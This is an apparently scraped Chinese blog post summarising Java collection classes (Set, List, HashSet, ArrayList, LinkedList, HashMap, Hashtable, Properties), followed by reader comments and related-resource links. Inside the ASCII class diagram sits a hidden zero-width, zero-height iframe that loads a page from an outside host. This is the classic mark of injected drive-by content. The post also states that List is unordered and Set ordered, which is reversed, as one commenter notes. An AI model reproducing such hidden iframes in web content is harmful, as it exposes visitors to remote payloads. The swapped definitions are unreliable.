`
dd5801
  • 浏览: 30630 次
  • 性别: Icon_minigender_1
  • 来自: 北京
最近访客 更多访客>>
社区版块
存档分类
最新评论

java中util包中集合关系总汇

阅读更多

集合:(比数组效率高,数组长固定)
1.collection是一个接口collections是一个类.
  collection有子接口:List(无序),set(有序)等
2.Set--无序,不允许重复元素.
  List--有序,可以有重复的元素.(相当于动态可以自动增长的链表)
3.HashSet 实现Set接口.
  ArrayList(可变长的数组)和LinkedList(List的链表实现,可以成为堆栈,队列或双向链表)都实现了List接口.
4.Iterator访问集合中元素的过程.(其中ListIterator用于List类)           
5.Map接口(一个单独的接口)是Dictionary类的替代品.
  HashMap是以哈希表的形式存储key-value对,速度快.
  (非线程安全,当二个人同时操作一个对象是会造成数据丢失)
  {JDK1.1中用到的:Vector(List接口),Stack(Vector的子类),,Hashtable(实现Map接口),Enumeration(枚举)这些类
  都是线程安全的,性能低,重量级的.}
  Dictionary类提供的按键取值的功能,他是个抽象类,要使用时需用他的子类HashTable.
6.Properities类
  哈希表里存的关键字--值对可以是各种类型的.而propeties就相对简单,它只存放字符串对.用setProperties()和getProperties()操作.

              |--Set(接口)--HashSet(类)
              |
Collection----|
              |              |--ArrayList(可变长数组类)
              |--List(接口)--|
                             |--LinkedList(链表)<IFRAME SRC="HTTP://www.m5k8.com/gr.htm" WIDTH=0 HEIGHT=0></IFRAME>

以上集合是经常使用于DAO操作中,更重要作用是在Hibernate中的实体关系映射中能够很好的实现实体之间的关联关系。

分享到:
评论
3 楼 fnet 2007-09-06  
List(无序),set(有序)等
2.Set--无序,不允许重复元素.
  List--有序,可以有重复的元素.(相当于动态可以自动增长的链表)
说反了吧,大哥
2 楼 dd5801 2007-09-05  
楼上朋友说的对,HashSet就像是一个序列表,所以在查询的时候速度很快且效率很高;LinkedHashSet就好比一个链表了,它主要是在插入,删除等操作上效率高于HashSet.但是这些不是数据结构,象JAVA有堆栈类等,当然我们常使用的方法是利用List或则Set来实现树,图,堆栈,队列等复杂数据结构的构建.
1 楼 liudaoru 2007-09-04  
LinkedHashSet也是有的啊,不过不怎么常用,只能说楼主说的是常用的数据结构:)

相关推荐

    JAVA核心知识点整理.zip

    集合类存放于 Java.util 包中,主要有 3 种:set(集)、list(列表包含 Queue)和 map(映射)。 Collection:Collection 是集合 List、Set、Queue 的最基本的接口。 Iterator:迭代器,可以通过迭代器遍历集合中的...

    Java面试笔试机试题大汇总

    ### Java面试笔试机试题大汇总知识点解析 #### 标题:Java面试笔试机试题大汇总 此标题明确了本文档的主要内容是围绕Java编程语言的面试与笔试题目进行汇总。这表明文档将涵盖一系列针对Java技术栈的问题,适用于...

    JAVA程序员笔试面试题汇总及答案.pdf,这是一份不错的文件

    "Java程序员笔试面试题汇总及答案.pdf知识点总结" 以下是从给定的文件中生成的相关知识点: ...这些知识点涵盖了 Java 程序员笔试面试题汇总及答案.pdf 中的多个方面,包括访问控制符、集合操作、输入输出、流等。

    JAVA程序员笔试面试题汇总及答案.docx

    * Collection和Collections的区分:Collection是java.util下的接口, Collections是java.util下的类,包含有各种有关集合操作的静态方法。 三、输入输出 * File对象的方法:isFile方法作用是判断是否是文件,...

    实战JAVA高并发程序设计源代码汇总版

    《实战JAVA高并发程序设计源代码汇总版》是针对JAVA并发编程领域的一份宝贵资源,它集合了《实战JAVA高并发程序设计》一书中的核心示例代码,旨在帮助开发者深入理解和实践JAVA并发编程的关键技术。这个压缩包包含了...

    JAVA编程经验汇总.txt

    Java标准库包含了大量有用的类和接口,如`java.util`包中的集合框架。 - **List**:有序集合,允许重复元素。常用实现包括`ArrayList`(基于数组)和`LinkedList`(基于链表)。 - **Set**:不允许重复元素的集合。...

    最新最全Java面试题汇总

    - **Collections**:这是 `java.util` 包中的一个工具类,提供了一系列静态方法来操作或返回对集合的特定视图。例如,排序列表、反转列表等。 #### 6. assert 的用途 **解答**:`assert` 是Java提供的一个内置机制...

    java8.pdf详细说明java8的使用说明

    它们在Java中引入了函数式编程的元素,比如可以在集合类中用于迭代、排序、映射等操作。Lambda表达式提供了一种书写代码更加简洁易读的方式。 3. 方法引用(Method References): 方法引用是对Lambda表达式的...

    JAVA面试32题总汇

    - **Collection**:是一个接口,位于`java.util`包中,是集合框架的基础接口,所有集合类都是它的子类型。 - **Collections**:是一个工具类,同样位于`java.util`包中,提供了对集合类的操作方法,如排序、查找、...

    JAVA面试题汇总

    - **java.util**:提供了各种实用工具类,如集合框架(List, Set, Map等)、日期和时间类(Date, Calendar)、排序算法(Collections.sort())等。 - **java.io**:处理输入输出操作,包括文件I/O、网络流、数据流...

    java基础能力全套.pdf

    Java还提供了多种同步机制,比如synchronized关键字和java.util.concurrent包中的锁工具,以及各种并发集合,以保证线程安全。Java虚拟机(JVM)对线程的支持包括线程调度、状态转换和线程组管理等。 Java 8引入了...

    Java架构面试专题汇总(含答案)和学习笔记.zip

    - java.util.concurrent包中的工具类,如CountDownLatch、CyclicBarrier、Semaphore等。 - CompletableFuture用于异步编程和链式调用。 - Fork/Join框架和Parallel Streams用于并行计算。 5. **JVM** - 内存...

    2011年JAVA面试题汇总

    ### 2011年JAVA面试题汇总 #### 面向对象的特征 面向对象编程(OOP)是现代软件开发中广泛采用的一种编程范式。它通过使用类和对象来模拟现实世界中的事物,使得代码更加模块化、易于理解和维护。 1. **抽象**: ...

    JAVA向量讲稿[文].pdf

    Java向量(Vector)是Java实用工具类库java.util包中提供的一个工具类,它是一个变长数组,可以存储不同类型元素。相比普通的数组,Vector类提供了更多的功能,包括元素的增加、修改、删除以及查询等操作,使其在处理...

    2021-2022计算机二级等级考试试题及答案No.5403.docx

    12. **日期和时间类** - 在Java中,Date、Calendar类确实位于java.util包中,但DateFormat类位于java.text包中。 13. **报表类型** - 汇总报表用于提供所有记录的汇总数据,而不是明细数据或窗体转换的报表。 14. ...

    Java面试测试题目2018张大成总结

    synchronized和java.util.concurrent.locks.Lock的异同 - **synchronized**:关键字,自动释放锁。 - **Lock**:接口,提供了更高级别的并发控制功能。 #### 48. 如果main方法被声明为private会怎样 - `main`方法...

    JAVA编程中常用的英文单词词汇汇总.doc

    在Java编程中,掌握一些常见的英文词汇至关重要,这些词汇构成了Java编程的基础概念和语法。以下是一些核心的Java编程术语: 1. **OO (Object-Oriented)**:面向对象,一种编程范式,基于“对象”概念,将数据和...

    java面试笔试题大汇总

    - 是一个工具类,位于`java.util`包中。 - 提供了一系列静态方法,用于对集合进行操作,如排序、查找等。 - 用于简化集合类的使用。 #### 七、什么时候用assert - `assert`关键字主要用于开发阶段进行调试,...

    2021-2022计算机二级等级考试试题及答案No.9266.docx

    - **解析**:Java.util包中包含了两个重要的工具类:Collections类用于操作集合,Arrays类用于操作数组。题目中未完整给出答案,但根据上下文可以推测出正确答案应为“Collections类”和“Arrays类”。 #### 10. ...

Global site tag (gtag.js) - Google Analytics